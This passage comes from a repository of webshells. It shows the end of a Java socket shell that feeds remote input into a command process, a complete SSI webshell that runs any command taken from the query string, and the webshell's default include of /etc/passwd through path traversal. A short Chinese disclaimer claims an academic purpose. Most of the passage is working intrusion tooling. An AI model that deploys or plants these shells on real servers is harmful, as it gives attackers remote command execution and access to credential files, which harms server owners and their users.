75 | }catch(Exception e){} 76 | 77 | } 78 | 79 | public void getCommand(){ 80 | String foo; 81 | 82 | try{ 83 | while((foo=socketRead.readLine())!= null){ 84 | commandWrite.println(foo); 85 | commandWrite.flush(); 86 | } 87 | }catch(Exception e){} 88 | } 89 | 90 | public static void main(String args[]){ 91 | ShellScriptlet r = new ShellScriptlet(); 92 | r.getShell(); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /webshell/ssishell.shtml: -------------------------------------------------------------------------------- 1 | <!--#config errmsg="[Error in shell]"--> 2 | <!--#set var="zero" value="" --> 3 | <!--#if expr="$QUERY_STRING_UNESCAPED = \$zero" --> 4 | <!--#set var="shl" value="ls -al" --> 5 | <!--#else --> 6 | <!--#set var="shl" value=$QUERY_STRING_UNESCAPED --> 7 | <!--#endif --> 8 | <!--#if expr="$QUERY_STRING_UNESCAPED = \$zero" --> 9 | <!--#set var="inc" value="/../../../../../../../etc/passwd" --> 10 | <!--#else --> 11 | <!--#set var="inc" value=$QUERY_STRING_UNESCAPED --> 12 | <!--#endif --> 13 | <html> 14 | <head> 15 | <title> 16 | SSI Shell by Root-access aka beched 17 | </title> 18 | <script language="javascript"> 19 | function fex() 20 | { 21 | document.location.href="<!--#echo var=DOCUMENT_NAME -->?"+document.getElementById('command').value; 22 | } 23 | function vfile() 24 | { 25 | document.location.href="<!--#echo var=DOCUMENT_NAME -->?cat "+document.getElementById('vfile').value; 26 | } 27 | </script> 28 | </head> 29 | <body bgcolor=#e4e0d8 alink=blue vlink=blue> 30 | <div align=center width=100% border=0 style=background-color:#D4D0C8;> 31 | <center><b><font size=+2><a href=http://ahack.ru>SSI Shell</a></font></b></center> 32 | </div> 33 | <br> 34 | <div align=left width=100% border=0 style=background-color:#D4D0C8;> 35 | <center><b><font size=+1>Shell info</font></b></center> 36 | <br> 37 | <b><font color=blue>GMT date</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=DATE_GMT --></b><br> 38 | <b><font color=blue>Local date</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=DATE_LOCAL --></b><br> 39 | <b><font color=blue>Document name</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=DOCUMENT_NAME --></b><br> 40 | <b><font color=blue>Document URI</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=DOCUMENT_URI --></b><br> 41 | <b><font color=blue>Last modified</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=LAST_MODIFIED --></b><br> 42 | <b><font color=blue>Owner</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=USER_NAME --></b><br> 43 | <br> 44 | </div> 45 | <br> 46 | <div align=left width=100% border=0 style=background-color:#D4D0C8;> 47 | <center><b><font size=+1>Server info</font></b></center> 48 | <br> 49 | <pre> 50 | <!--#printenv--> 51 | </pre> 52 | <br> 53 | </div> 54 | <br> 55 | <div align=left width=100% border=0 style=background-color:#D4D0C8;> 56 | <center><b><font size=+1>Command for shell & address for inclusion</font></b></center> 57 | <br> 58 | <b><font color=blue>Enter command/address</font></b>:&nbsp;&nbsp;&nbsp;<input type=text size=80 id=command>&nbsp;<input type=button value=Run onclick=fex();> 59 | <br> 60 | </div> 61 | <br> 62 | <div align=left width=100% border=0 style=background-color:#D4D0C8;> 63 | <center><b><font size=+1>Shell</font></b></center> 64 | <br> 65 | <b><font color=blue>Executed command</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=shl --></b><br> 66 | <textarea bgcolor=#e4e0d8 cols=121 rows=15> 67 | <!--#exec cmd=$shl --> 68 | </textarea> 69 | <br> 70 | </div> 71 | <br> 72 | <div align=left width=100% border=0 style=background-color:#D4D0C8;> 73 | <center><b><font size=+1>Operations on files</font></b></center> 74 | <br> 75 | <b><font color=blue>View file (cat)</font></b>:&nbsp;&nbsp;&nbsp;<input type=text size=80 id=vfile value=<!--#echo var=SCRIPT_FILENAME -->>&nbsp;<input type=button value=Run onclick=vfile();><br> 76 | <b><font color=blue>Included file</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=inc --></b><br> 77 | <textarea bgcolor=#e4e0d8 cols=121 rows=15> 78 | <!--#include virtual=$inc --> 79 | </textarea> 80 | <br> 81 | </div> 82 | <br> 83 | <div align=center width=100% border=0 style=background-color:#D4D0C8;> 84 | <center><b><font size=+1><a href=http://ahack.ru>(c) BECHED (Root-access)</a></font></b><br><small>2009, v1.02<!--копирайт поменян в 2011 ;) --></small><br> 85 | ONLY FOR EDUCATIONAL PURPOSES. ILLEGAL ACTIVITIES PROHIBITED. 86 | </center> 87 | </div> 88 | </body> 89 | </html> 90 | -------------------------------------------------------------------------------- /免责声明: -------------------------------------------------------------------------------- 1 | 这个软件是纯粹为了学术研究的目的而创建的为有效的防御技术的发展,并不是为了用于攻击系统,除非明确授权。 2 | 项目维护者对软件的滥用不承担任何责任。 使用负责任。 3 | 4 | 2017/3/9 停止更新 5 | --------------------------------------------------------------------------------